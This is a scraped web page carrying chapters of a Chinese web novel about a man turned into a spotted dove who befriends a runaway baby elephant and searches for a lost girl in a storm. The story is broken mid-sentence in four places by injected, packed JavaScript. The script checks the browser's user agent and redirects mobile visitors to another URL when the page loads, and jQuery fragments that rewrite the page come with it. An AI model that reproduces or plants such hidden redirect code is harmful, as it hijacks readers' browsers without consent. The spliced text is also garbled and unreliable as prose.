l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806833|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一日,众鸟都已经疲倦不堪,吃饱喝足之后自然是选择休息。 安澄也不例外。 他找了个粗壮的树杈窝下,像往常一般将脑袋埋入羽毛下,伴着凉爽的夜风慢慢地陷入了熟睡,等待着第二日的来临。 然而今夜注定不太平。 美梦不过做到一半,安澄就生生被身下窝着的树枝给震醒。 原本以为是这树枝支撑不起他身体的重量要折了,哪知睁眼一看,竟然是整棵树、整片大地都在微微的晃动。 安澄:??? 安澄:!!! “地震了,地震了!!!”他猛地站起来,扑腾翅膀朝着朱云深飞过去。“大人别睡了,要地震了,我们快点逃!” 站在周围树上的红隼纷纷被他给闹醒。 “嘎——”朱河鸭叫一声,“怎么了,怎么了?!” 安澄还是第一次遇见地震,一时难免惊慌失措。“快跑,地震了!” 然而他歇斯底里的喊声却仿佛并未惊醒到一众红隼,他们仍旧无动于衷地站在树梢上,就连被吓醒的朱河也渐渐地镇定了下来。 安澄傻了眼。“你们怎么不急啊?虽然说大震跑不了、小震不用跑,但也不用真的就这么淡定吧?” 这样的情况维持了好一会儿,就在他快要按捺不住独自振翅逃亡的时候,震动戛然而止。 “这么快就结束了吗?” “嘎嘎嘎嘎——”寂静无声的夜里,朱河突然发出一阵鸭笑,笑着笑着竟然夸张地倒在树梢上。“安澄你真是太好笑了,你没遇见阿深之前,都是怎么活下去的?” 安澄一脸懵地看向身边的朱云深,“大人……” 朱云深倏地伸出翅膀在他的脑袋上快速地拍了一下,“你今天谈到大象不是还说得头头是道?” “嗷——”安澄用翅膀尖尖抱住了自己圆乎乎的小脑袋,“大人,你的意思是说……刚刚的震动是大象引起的?” 他橙黄的眼睛一下就泛起了光亮,毛茸茸的脸上写满了跃跃欲试。 仿佛看出了他心里的想法,朱云深啄了啄翅膀,冷酷道:“如果你不想被踩死,最好现在就睡觉。” “大晚上的谁不睡觉?隼要睡觉,大象也要睡觉。”恢复如常的朱河在另一棵树上插话,也没再站,干脆就树窝了起来。“要是吵到了他们,我们可救不了你哦。” “不仅救不下,还没办法吃了,都变成一滩鸟饼了。” 安澄顺着朱树的话想象了下,一阵恶寒。“算了算了,睡觉睡觉。” 好奇害死鸟,还是鸟命更要紧。 而且就在这附近的话,没准明天起床就能够看到他们,不急于这一时。 于是他又乖乖地窝了回去,“大人,再晚安。” “嗯。” 照旧是一声低低的回应。 可今夜的一切还未结束。 安澄的美梦才续了不过一点,就又被一阵震感给吵醒,这次甚至比上次的还要强烈。 知道事情真相的他已经不再慌张,本想接着睡,却突然就被什么东西给砸下了树干。 安澄:??? 21. 被小象掳走了怎么办? 啪叽一声闷响,安澄坠在了草堆里。 但连惊讶都没能维持多久,他就忽然感受到有什么软软的东西缠在了自己的身上,还把他的喙给堵得死死的,让他连喊鸟救命都做不到,随后他整只鸟又被卷着往别的地方带。 活的、热的,这是个生物。 安澄抽空分析道。 那生物的力道控制得不是很好,时而紧、时而松,时而让他无法呼吸、时而使他摇摇欲坠。 而速度也越来越快、越来越快,安澄像是坐了一个跳楼机般被控制着在空中四处乱晃,即使他现在是一只鸟,最后也被弄得失重失衡、脑袋昏昏沉沉的。 也不知道过了多久,晕头转向的安澄终于感受到卷着自己的东西慢了下来。 不过多时,他又被轻轻地放在了草堆里。 “你是什么东西呀?” 还没等他回过神,就听见了一道稚嫩的女音,奶声奶气的。 不是,莫名其妙把他抓过来,怎么还问他是什么东西。 有这样的道理吗? 安澄用翅膀撑着自己艰难地翻坐起来,晃了晃自己的小脑袋,好一会儿眼前才恢复了清明。 一睁眼,就正对上了一双顶得上他半个脑袋大的眼睛,那眼睛不过离自己十多厘米远。 “咕咕咕——”他被惊得整只鸟在草堆里往后翻了一圈。 拉开了一小段距离,他才看清眼前的是什么生物——一只深灰色的大象。 不,准确而言是一只小象。 生活在西南境内的象基本是亚洲象,而成年亚洲象体重可达3-5吨,体长可有5-6米,身高大概2.1-3.6米[1],面前的这一只目测只有1米多,很明显还没有成年。 小象看他没有回答,便将自己的脸凑近了些,再问了一遍。“你不会说话吗?只会咕咕咕地叫吗?你是什么东西呀?” 安澄又默不作声地打量了一会儿,发现这小象确实没有什么恶意。 于是开口回答道:“我会说话,我是鸟,鸠鸽科斑鸠属的珠颈斑鸠,你知道吗?” “我不知道你呀。”小象摇了摇脑袋,垂在脸侧的大耳朵和长长的鼻子跟着动作一起被甩动,“你为什么脖子上有一圈白白的点点,为什么我没有呀?” 说着,小象还举着鼻子摸了摸自己的脖子。 “这个白白的点点是我羽毛上的斑点,因为很像珍珠项链,所以我们这个物种被命名为珠颈斑鸠。” “每类物种都长得不一样的。”安澄从地上爬起来,用翅膀尖尖指了指小象的鼻子和耳朵。“你看,我也没有你的长鼻子和大耳朵,”说着,又抬起一只自己粉红色的爪子。“我甚至只有两条腿呢,还比你的小很多很多。” “哇!真的诶。” 小象好像才发现自己和安澄竟然有这么多不一样之处,兴奋地原地转起了圈圈,鼻子在空中乱舞着。“我有大大的耳朵、长长的鼻子,我和别的东西都不一样!” 但她显然还没有完全地驯化好自己的四肢,一个不留神,砰地一声重响跌坐到了地上。 即使是未成年的亚洲象,体重也非同一般,花草被压塌、尘土被扬起,安澄觉得自己仿佛都被震了起来。 小象在地上坐了好几秒,然后才反应过来。“哎呀,又摔跤了。” 不哭不闹,也没有什么抱怨和咒骂,她重新控制着四条腿蹬在地上,尝试着站起来,长长的鼻子也撑着在用力。 “嘿咻,嘿咻,嘿咻……” 在自己的加油助威下,小象终于撑着身体从地上站了起来。 站起来之后,她还扇了扇大大的耳朵、高高地举起鼻子夸赞自己,“今天比之前都要快,厉害!” “好诶!”安澄也忍不住搭了腔。 小象看了他一眼,学着喊了一声。“好诶!” 听着对方的回应,安澄不知在想什么,突然又说了一遍。“好诶!” “好诶!”小象不甘落后,跟着再回一嘴。 原先的欢欣变了味,一鸟一象莫名其妙地产生了些胜负欲,他们隔空对视一眼,竟然就着这两个词开始直接比拼起来,你一句我一句,绝不落后,最后甚至比较起了声音的大小,寂静的晚夜郊外,清晰可闻他们一次比一次大的声音。 好诶了半响,安澄喊到气力全失、口干舌燥、精疲力竭、眼冒金星,最后不得不主动认输。 “你赢了你赢了,不喊了。” 好鸟不跟象斗。 他大喘几口气,重新躺倒在草堆里。 “我赢啦?”还精力满满的小象凑到安澄面前,“你是说我赢了吗?” “对,你赢了。” “好诶!”小象又开始团团转,鼻子和耳朵甩得比刚才还要猛。“我赢啦~” 不出意外,她又摔倒了。 这一次倒没急着起来,而是直接挪动着身体侧躺到了安澄的身边,跟着他一块儿躺尸。 可歇了没几秒,她就又克制不住兴奋地凑到他脑袋旁低声地说:“小斑鸠,我刚刚赢了你诶!” 恢复了一些体力的安澄也有心思去关注别的了。 听着那话,他只觉得小象这话说得实在可爱,笑着回答。“没错,你赢了。” “我以前从来没有赢过,一次也没有,总是输给她们。”小象控制着鼻子在控制乱划了几下,“刚刚是第一次,原来赢是这样的感觉呀,真开心。” “她们?”听到这两个词,安澄才猛然想起哪里不对劲了。 母象有很强的族群意识,基本不会单独出行,何况还是一只连四肢都控制得不算太好的小象,这基本上是整个族群重点保护的对象。 所以她怎么会一只象出现在这里? 他倏地一下站起来,往小象的方向挪了几步,“你的家象呢?你的妈妈、姨姨、姑姑、祖母们呢?” 提到这个话题,小象的情绪突然就落了下去,肉眼可见表情变得不开心了。 “你该不会是走丢了吧,还是……” 还是出了什么意外,难道又遇见盗猎的人了? “不是啦。”小象舒展着身体蹬了一下腿,“是我自己偷偷跑出来的,趁她们都睡着的时候。” 听到没遇见什么坏人,安澄也松了一口气。 他问:“那你准备什么时候回去呢?” “我不回去呀。”小象用天真的语气答。 “你不回去?”安澄偏着头看着她,“你一只象,还是没成年的小象,怎么在外面生存啊?” “我不是一只象啊。”小象用软软的鼻子轻轻地碰了一下安澄脖子上的白斑,“不是还有你吗?小小斑鸠。” 这下安澄是真的淡定不了,“我?” 小象用力地点了点鼻子,“对,我已经决定要自己成为一只流浪的大象了,你跟我一起,我们一起建立自己的大族群,而我会成为超级厉害、超级勇猛、超级强壮的成年母象的!你放心,到时候整个族群只会有你一只小小斑鸠,而且虽然你是雄性,我也是不会把你赶走的。” 安澄:…… 他现在终于搞明白了状况——这是一只提前进入了青春的叛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806834|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逆中二小象,和家里象闹矛盾所以离家出走了。 忍不住叹了一口气,“可是我也有自己的集群和伙伴啊。” 虽然只是暂时的,虽然人家可能压根也没把他当伙伴来看,只把他当作了筑巢工鸟。 但跟着红隼也还是比跟着一头未成年的小象靠谱。 “啊?那……”小象举在半空的鼻子软软地垂了下来,大大的耳朵也蔫巴地贴在脸上。“那你不能把我当作你的伙伴吗?我们以后还会有更多伙伴的……不过伙伴再多,我们两个也一直会是最好的朋友的!” “而且我今天下午第一眼在天上看到你的时候,就很喜欢你了,你和别的鸟都不一样,你的脖子亮晶晶的,好漂亮!” 如果小象不依不饶、哭天喊地,安澄可能还不会有太多的想法,但偏偏是这样的可怜巴巴和单纯真诚,就让他什么重话都说不出来了。 果然,动物的幼崽就是有这样可爱到让人心软的本领。 看来只能智取了。 他放低放软着声音问:“那可以告诉我为什么不愿意回到族群去吗?” 语气诚恳、态度柔和、模样真诚、眼神慈祥,能有生物不信任这样的他吗?有吗? 没有! 然而下一秒,就听见小象用天真的奶音回答,“不可以呀。” 安澄:…… 小象蹬着自己的腿,又挪动自己重重的身体朝他靠近了一些。“你就陪陪我嘛,好不好呀?” 一边说,她一边伸出软软的鼻子去触碰安澄,由四万多条肌纤维组成的长鼻像是人类的手一样灵活,鼻头将他圆乎乎的小脑袋给盖住,一下接着一下地轻柔扫动着。 “小小斑鸠、小小斑鸠,漂亮的小小斑鸠……” “我已经成年了。”安澄无奈。 小象用鼻尖点了点安澄的脑袋,“哦,那就是小大斑鸠。” “求求你了嘛……” 一头小象,凑在耳边奶里奶气地撒娇,这是安澄上辈子做梦也不敢想象的场景。 虽然他郎心似铁,但也被这一声接着一声地喊出了一星半点的父性,真的开始考虑起抽出一些时间来陪这头离家出走的小象的可行性。 沉思良久,他终于做出了决定。“好,那我就陪陪你!”然后明天太阳一出,就去找你的家象,把你送回族群去。 “好诶,你最好啦!”小象兴奋地卷起安澄,举起他在空中小幅度地晃了晃。“超级喜欢你,小大斑鸠!” “诶诶诶——别晃别晃,我受不住。”在叫喊的空隙,安澄又连忙纠正道:“我有名字的,我叫安澄。” 小象将他轻轻放下,“好的,小大安澄。” “你呢?你叫什么名字?”安澄晃了晃有些晕乎乎的脑袋。 “我?”小象从鼻子里喷出一口气,“哼,我已经脱离了族群,那以前那个名字也不要了,我要给自己换一个新的名字。” 安澄好笑,“那你准备换成什么?” “嗯……”小象用鼻子挠了挠脑袋,突然一顿,兴奋道:“我要叫丧彪!” 安澄:??? “丧彪,丧彪!” “丧彪,丧彪!” 看到小象兴致高昂的模样,安澄也不好多说什么。 孩子开心就行。 他幽幽地叹了一口气,倒在草堆里滩成了一团鸟饼。 而在丧彪欢悦的声音中,他又忽然想到了朱云深。 不知道朱云深醒来后发现他不在,会怎么样,只希望明天一切能够顺利,不会出现其他的意外。 22. 遇见人类了怎么办? 安澄觉得或许是什么特殊体质,他的人生总是会出现各种各样的意外。 除却熬夜变鸟、被天敌追杀、被盗猎者捕捉之外,现在又来了一个清晨下暴雨。 原先他正窝在丧彪的鼻子里舒舒服服的睡觉,而丧彪也睡得四仰八叉、呼噜乱震。可美梦还没来得及收尾,突然就在半梦半醒之间感受到有什么冰冰凉凉的东西砸在了自己的脸上、喙上,一滴、两滴不停地往下坠。 刚开始他还以为是丧彪的鼻涕,便没有过多在意。 然而几秒之后,哗的一声响,他整只鸟都被浇透,脑袋也彻底清醒过来。 这时他才发现是下雨了。 下雨对鸟类而言很麻烦,因为沾上的雨水会对他们的飞行产生很大的负担,寻找食物也会相应变得困难。 前段时间运气好,一路都是晴天,因此让安澄忘记了这一茬,现在被雨淋了,才真切地感受到有多不舒服。 他抖了抖身体,把羽毛上挂着的雨水暂时甩了一些出去,而后用喙去轻啄还在熟睡当中的小象。“丧彪、丧彪,你快醒醒,下雨了,我们赶紧找个地方避雨。” 也不知道小象的体质好不好,淋雨之后会不会感冒。 安澄没带过孩子,更何况是一个象孩子,他这临时鸟爸现在是看什么都担心。 “下雨了吗?”丧彪悠悠然地转醒,“好舒服呀~” 她是舒服了,可安澄俨然已经被淋成了一只落汤鸟,羽毛都一撮撮地黏在了一起。 并且在短短的几分钟内,这降水量就似乎又变大了许多,眼前的视线都被模糊了。 他呸呸地吐了几口雨水,“我们先走,先找个地方避雨,感觉越来越大了。” “呀!你怎么变成这样了。”丧彪像是才看见他的狼狈,二话不说四脚撑地站了起来,然后又用鼻子迅速卷起安澄藏在自己的大耳朵下面。“躲躲雨躲躲雨,小大安澄,你想要去哪里?” 安澄被雨砸得晕头转向,软乎乎蓬松的羽毛都湿漉漉地贴在了身上,耳孔里面似乎也被灌了水,听什么都像隔了一层膜。 “找个大一点的、有顶的地方。”比如山洞、崖壁等地方。 他在丧彪的鼻子上蹭了蹭雨水,“你知道哪里有这样的地方吗?” 丧彪轻轻地甩了一下鼻子,“知道知道,今天我还看到了,我带你去呀。” 说完,丧彪就卷着安澄开始一路飞奔,毕竟还是幼年的亚洲象,跑起来的速度还是很快的,遇见什么草丛、矮树也不躲,直直地撞过去,硬生生给自己开辟出一条新的路来。 “丧彪狂奔,丧彪狂奔!” 大大的耳朵盖在安澄的身上,挡住了他的视线,而那些从耳孔进的雨水,在奔走晃动之中,仿佛快要和他的脑浆一起被摇匀了。 他扯着嗓子大喊,“咕咕咕——慢点慢点!!!” 丧彪置若罔闻,嘴中一直念念叨叨着:“躲雨,躲雨!” 也不知道是走到了哪里,丧彪的速度倏地慢了下来。 “小大安澄,你做好准备了吗?” “怎么了?”安澄晕晕乎乎地问。 丧彪没有直接回他的话,只是说:“那我们准备开始啦!” 安澄:??? 他努力地把自己的脑袋从象耳朵下面钻出去,发现此刻他们的前面有一个大的泥坡,没有植被杂草的覆盖,泥坡被雨水淋得湿漉漉的,表层浇成了浆。 “你……” 他的话还没说完,丧彪就猛地往前一跃,一象卷着一鸟用后肢半坐在泥坡上,重力势能带着他们快速地往坡下滑,期间还打了几个转。 “啊啊啊啊——” “丧彪!!!” 安澄惊恐地尖叫,生怕他们一个不小心摔成两滩肉泥,然而始作俑象丧彪无知无觉,用鼻子高高地举着安澄哈哈哈地大笑。 “丧彪出击,丧彪出击!” 不过不知道是丧彪有过多次溜坡经验,还是他们的运气就真的有那么好,快接近坡地的时候,他们的速度竟然逐渐地慢了下来,最后平缓地滑坐到了平地上。 安澄劫后余生般颤颤地吐了一口气,丧彪撑着自己的沾满了黄色泥浆的身体从地上爬起来。 一边爬还一边安抚道:“小大安澄,你冷不冷啊?我们马上就要到你说的地方了,不要害怕哦。” 安澄:…… 他现在唯一害怕的就是她又出什么事情。 丧彪重新站起来之后,也不再像之前那样狂奔,她将安澄重新藏在耳朵下面,慢慢悠悠地朝着某个方向走。 不过走了五六分钟,安澄就明显地感受到落下的雨水被什么东西给拦在了半空,周身也变得干燥温暖了些许。 “我们到啦!” 大大的象耳抬起,钨丝灯昏黄的光泼洒着,安澄终于看清了周围的景色,与他刚开始预料的完全不同——这是一个农家大院。 说是大院其实也不准确,应该说是一个农户自家打的、用来遮风挡雨的铁皮棚子,棚子下面放了一套老旧的桌椅,角落还支着竹竿,上面挂着几个彩色的衣架。 有非常重的生活痕迹,可能几分钟之前主人还曾经出来过。 “你……” “我……” “他们……” “哎……” 他仰头看棚,长长地叹了一口气。 果然,他不应该寄希望于一个刚出生没几年、也没什么生活经验的小象。 “怎么了吗?”丧彪察觉到了他的情绪,用鼻子将他轻轻地放在桌子上。“你是不是被吓到了呀?还是淋了雨很冷很冷啊?” 说着说着,她仿佛把自己给吓到了,慌里慌张地原地转了一圈。“对不起对不起,我刚刚不应该带着你滑下来的,你这么一只小小的鸟,胆子肯定也是小小的,你是不是快要被吓死了?” “小大安澄,我跟你道歉,你不要有事啊!!!” 小奶音带着哭腔,安澄原本就不太多的无奈也一下不见了。 他站起来,用自己的翅膀尖尖碰了一下丧彪举起来的鼻子,“我没事我没事,就是……”顿了顿,他看向紧闭的房门。“就是我们可能会打扰到这个房子真正的主人,所以我们就这样站在角落里面等雨停,不要做其他的、也不要吵到人类了,好不好?” 丧彪用力地点了点鼻子,压着嗓子吵小声地说:“嗯嗯!” 于是一象一鸟便缩在桌子的那一快小地方等雨,彼此之间用气音只用气音。 然而他们不向山去,山却向他们而来。 雨越下越大,丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806835|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫没有减弱的趋势,周围的草灌了一层浅浅的积水,泥地几乎都要被泡发。 大约半个多小后,紧闭的房门被打开了一条缝,合页似乎有些老旧,门在开合之间发出非常响亮的嘎吱声,即使在这样的大雨天听的也十分清晰。 安澄和丧彪不约而同地朝着声音的方向看过去,正正好好和一双明亮黝黑的圆眼对视上。 “啊——” “咕咕——” “咘咘——” 一人、一鸟、一象在同一时刻被吓到,纷纷发出惊恐的叫声。 门又砰地一声被重重地关上。 安澄率先镇定下来,立刻对着丧彪扑扇了几下翅膀。“嘘嘘嘘,别叫了丧彪,那个估计就是这个房子的主人了,我们刚刚吓到她了。” 不过看起来是个不到十岁的小女孩,家中估计还有其他的大人在。 他们静了下来,原以为小女孩被吓到之后,会守在家中等他们离开之后再出来,哪知道不到十分钟,门又被打开了。 小女孩从门后面伸出了半个头,怯怯地看向他们。“你,你们好……我现在想出去一下,你们可以不要伤害我吗?我也不会伤害你们的。” “她在叽里咕噜地说什么呀?”丧彪晃了一下长长的鼻子,疑惑地看着安澄。 蓦地,她的眼睛一亮。“她是不是在说要和我们一起玩?还是想要加入我的族群,成为我们的伙伴?” 安澄:…… 他总算知道那些动物和人之间有些奇葩的事故是怎么来的了。 “不是,没有,不可能,别想了。”他冷冷道。 让一只没成年又没轻没重并且还不语言不通的小象跟一个人类小女孩一起玩,安澄简直不敢想象会出什么事。 主观上可能没恶意,但客观上极有可能会发生意外。 “我想去接奶奶,外面下大雨了,奶奶还没有回来……”躲在门后面的小女孩又开口,“可以吗?” 可以可以,当然可以。 安澄振翅飞到丧彪的脑袋上站着,避开顶上那几根稀疏但沾满了泥浆的毛发,“丧彪,我们往后面退一点点,她有些害怕我们,她现在要出来。” “啊,为什么要害怕呀……”说是这么说,但她还是乖乖地往后退了几步,然后对着小女孩挥了挥鼻子。“你好呀,你不要害怕我哇,我是好大象,很好很好的那种大象,我不会欺负你,我会保护你的!” 小女孩没听懂她说的话,但看见了他们退让的动作,于是尝试性地从门里探出了半个身体,眼见着他们没有旁的举措,才大胆地从屋里走了出来。 她穿着一身洗到有些浆白的短袖热裤,手里拿着把印有广告的旧伞,头发有些枯黄。 “谢,谢谢你们!”她非常紧张地对着安澄和丧彪鞠了一躬,然后打开伞撑着奔进雨里,瘦小的身体很快便没入在雨幕当中。 盯着那个背影看了几秒,安澄后知后觉。 “这么大的雨,这样的荒郊野岭,她一个小孩就这样出去找人?!” 换做以前还是人的时候,这样的大雨天他一个成年男人都不会出门,因为实在是太危险了。 他急得在丧彪的脑袋上转了几圈,最后下定决心般。 “丧彪,我们去帮她怎么样?” 23. 掉下山坡失踪了怎么办? 低气压,是让鸟都几乎要无法飞翔的低气压。 雨越下越大,即使栖身在茂密的树叶下,众隼也还是浑身被浇透,但无一鸟率先离开。 朱云深冷淡地看着空空如也的树梢,那里原本应该窝着一只熟睡的珠颈斑鸠。 “阿深?”终于无法再僵持,朱海振翅飞到朱云深的身边,“你现在打算怎么样?” 朱云深看了他一眼,“先找个地方避雨。” 众隼听着这话,像是松了一口气,不约而同地振翅飞行起来,随后一齐去寻找暂时可以躲雨的地方。 现如今所在之地,不是什么人烟罕至的深山老林,更像是城市的郊外、接近乡村的地方,所以附近也可以看见不少人造的建筑,而它们无疑是现在最好的选择。 飞行不过一会儿,便寻到了一条水泥浇筑的高架桥,是四车道的桥面,因此桥底也留下不小的遮蔽面积。 他们钻入到桥底,各自在桥墩上找了个地方去甩干净身上的雨水,用喙整理被浇乱的羽毛。 朱海趁此又新飞到朱云深的身边,他的表情严肃、目光诚恳、态度严谨、语气笃定,面无表情地吐出几个字,“我已经知道了。” 朱云深:??? 或许是看朱云深的表情不对劲,朱海咳了咳,左右看了圈,将声音压低了些许。“你别担心,他应该是走丢了,不是不爱你了。” 朱云深:??? “你……” “等等!”他的话还没说完,就被朱海给严肃打断。“你不用再解释和掩饰了,这段时间我一直在观察你们,我已经可以确认了,你们两鸟之间存在那样的关系。” “我……” “诶,你不用担心。”朱海严肃地点点头,模样正直,“我不会阻挠你们的,虽然我是你们的大哥,但我也不会干涉你们的鸟生。 “而且两只雄性,这种事情其实很常见,我就在迁徙的路上见过不少,特别是那些哺乳类的动物,最喜欢搞这一套了。 “你是被人类养着长大,会有这样的癖好也很正常。” “他……”朱云深深吸一口气,可又被打断。 “他你不用担心,珠颈斑鸠其实也挺好的,反正都是鸟。”朱海语气稳重地安抚道,又给了一个讳莫如深的眼神。“而且他那么听你的话、那么爱你。” 朱云深:…… “你是从哪看出来他爱我的。” 朱海没听出朱云深话中的无语和反问,他抖了抖翅膀,昂首挺胸地开始讲述自己发现“真相”的过程,喙基旁的那一点黑斑格外清晰和生动。 “首先,每次我靠近你们的时候都能听到他在对你说那些情话,一套一套的,让我一个外鸟听了都觉得没办法招架;其次,他每次跟你说话的时候都会想尽办法地碰你,碰到之后还会明显地变得很开心,但他和朱河说话就不会这样;最后,虽然你当初说是看中他的筑巢本领才强行把他带上的,但他可不像是被强迫的样子,反倒乐在其中。 “我听到过很多次,他说要给你筑世界上最好最温暖最高级的巢,什么情况下一只鸟会想给另外一只鸟筑巢? “难道不是求偶的时候吗?! “唉,看来他时时刻刻都想和你……啧。” 朱云深彻底沉默了,他看着自己这个向来稳重、谨慎的大哥,面上的表情有些一言难尽。 安澄哪里是爱他,不过是怕死罢了。 如果给他一个不会被追捕到的机会,或许分分钟就会选择离开,头也不回。 这边的交谈还没结束,耳边就忽然响起熟悉了震地声。 两隼顺着声音的方向看过去,发现一个不算太大的亚洲象象群正朝着高架桥底下走来。 雨大了象群也想着躲雨,这很正常,并且早已有不少的动物跑到了这里,彼此之间默契地划分着楚河汉界,也不存在争领土这么一说。 所以他们只是看了一眼,并没有多在意。 然而就在此时,朱河嘎嘎着开了口。“要是安澄在,估计能够开心死,他不是一直喊着想看大象吗?” 话音刚落,象群为首的母象就猛地将目光落在了朱河的身上。 === 安澄没想到自己还能有骑着大象跑的一天,虽然他是以鸟的形态,虽然象也只是未成年的象。 “丧彪丧彪,你有看见那个人类小女孩身影吗?” 这雨下的比茹萍去要钱那天、比女主高喊“住手,你们不要再打了”那日、比瓜六冷宫出逃那时还要大,翅膀展开抱着脑袋,才勉勉强强能够看清一些眼前的景象。 “没有呀。”丧彪举起鼻子揉了揉眼睛,鼻头像小手一般握成了一个小拳。“看不见她呀。” “这下坏了。”他叹了口气。 年纪那么小的孩子跑得也不会太快,何况还是在这么大雨天撑着伞的情况下。 可他和丧彪沿着明显被人踩出来的小道走了很远,都没能看见女孩的身影,所以极大可能就是她走了偏僻的小路,或者迷失在了大雨中。 安澄心中有些犹豫要不要在这个时候去大面积地寻找,是人的时候或许他会立即行动,毕竟可行的方法有很多,但现在的他是只还没有女孩膝盖高的鸟,而身边跟着的也是一个象生刚刚开始的幼象。 他不能让丧彪置身于险地。 还没等他想清楚,他们脚下的黄泥小道突然之间发生变化,原本坚硬的支撑蓦地松软、瓷实的路开始龟裂、平整的面向下塌陷。 “走!!!”安澄瞪大双眼,高喊着出声,“丧彪,快离开这个地方,要塌了,要塌了!” 丧彪的反应速度也很快,几乎是在安澄开口的一瞬间就开始迈动步子,然而她根本没有办法和这突如其来的意外相抗衡。 不过几个呼吸间,黄泥小道就塌成了碎泥块,又被雨水浇成泥浆,站在上面的丧彪四脚踏空,直直地往小道旁的坡下坠,包括被雨水完全打湿羽毛的安澄,也没有摆脱滚下泥坡的命运。 这坡比上次丧彪自己滑下来的那个要陡得多、也要糟乱得多,没做好准备的大象也根本没有办法快速灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806836|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活地调整自己的姿势。 “丧彪,丧彪?”安澄急得大叫,身体不受控制地砸在地上吃了好几口的泥。“你现在……啊——” 他的话还没有说完,突然感受到什么柔软有力的东西缠在身上,愣了几秒才反应过来那是丧彪的长鼻。 而后,长鼻将他高高举起,又在下一秒把他用力向未塌的小道上甩去。 丧彪稚嫩的奶音也在此时响起,“小大安澄,你快点跑!” 安澄没能反应过来,完全没能反应过来,他只知道等他混混乱乱一团糟的脑袋再次有内容的时候,丧彪已经完全消失在了他的视线当中。 坡的最下面长满了杂草,阻挡住人看得更真切、更远的视线,也让人无法猜测更低的地方到底是什么。 “丧彪!” 他急急忙忙地趴伏在小道边,对着坡下大喊,却没有任何回应。 “都怪我,都怪我……”安澄绝望地瘫坐在泥地上,失神地喘着粗气,他一个成年男人竟然让一头小象舍身相救,实在不配做人。“如果不是我让她出来的话……” 喃喃自语到这里,他忽然又想到了那个出门的小女孩,然后猛地站了起来。 不行,不行,他不能就这样在这里自暴自弃地消耗时间,现在有两个小女孩都正在经受危险,他多浪费一秒她们就多一分的危险。 她们还还那么小那么小,生命才刚刚开始,还有那么多的事情没经历、那么多的风景没看到,不能就这样了。 安澄用力扇动被打湿的沉重翅膀,朝着来时的方向而去。 去找帮助、去求救、去用尽一切可行的办法。 雨水比他想象中的还要难缠,降雨量一旦大到了一个限度,就像是一直不停地被人淋头泼水,好几次都险些将他砸到地面,而每一次扇动翅膀都似乎要消耗掉他体内一半的力量。 到了最后,安澄几乎是在凭借着意志本能和惯性在飞行了。 可真正让他绝望的并不是此,而是当他耗尽气力飞回到昨晚与一众红隼一起休息的地方时,却发现早已是隼去树空,什么也不剩了。 “大人?大人!” 高喊了几声,但无鸟回应。 “为什么,为什么……”他喃喃着,又不死心地绕着周围飞了几圈,企图能够找到哪怕一只的隼。 然而希望落空。 安澄的心不知为何猛地颤动起来,整张脸似乎都跟着在发酸。“不在,为什么不在?” “朱云深,朱云深——” “你在哪里?你们在哪里啊?!” “我该怎么办?我该到哪里去找人。”他站在树梢中,用翅膀尖尖扫了一下眼睛上挂着的水。“都怪我,我是个大傻X……” 可吸了吸鼻子,安澄又还是重新振翅飞了起来。 还不到放弃的时候。 他一边往靠近人烟的地方飞,又一边不死心地大喊:“朱云深,你在哪里啊?!” 不知喊了第多少声,身边突然响起了一道声音。 “我在。” 24. 掉到坑里了怎么办? 听到熟悉的声音,安澄先是恍惚了好几秒,而后才猛地回身看去。 朱云深,是朱云深! 在这样的大雨当中,朱云深也不得幸免,他浑身的羽毛也都被雨水给浇透,湿漉漉地贴在身上,然而狼狈两个字好像跟他毫无关联一般,流畅的身形、有力的肌肉、强壮的利爪在雨水之中越发清晰可见,双眸也越发锐利凶猛。 可安澄并未感到恐惧。 这个时候的他不得不承认,其实这样的朱云深给足了他安全感,让他原本忐忑不安的心一下就落在了实处。 “大人,大人你去哪里了?”他扑扇着翅膀飞过去,直直地往朱云深的身上扑,俨然已经忘记了自己现在是一只鸟。“我刚刚找了你很久,但是到处都没有找到!” 他不知道自己为什么要说这些,只清楚这样或许能将他满腹的委屈和苦楚抒发出不少。 朱云深大展着翅膀,在安澄快撞到自己的身上的时候,用爪子在中间缓冲了一下,而后将这只冒冒失失的珠颈斑鸠给带上旁边的树梢,接着才回安澄的话,“我们去躲雨了,在东边的高架桥下面,没走。” 就好像昆虫有趋光性一样,被淋到湿透又恐惧难安的安澄也趋向着温暖。 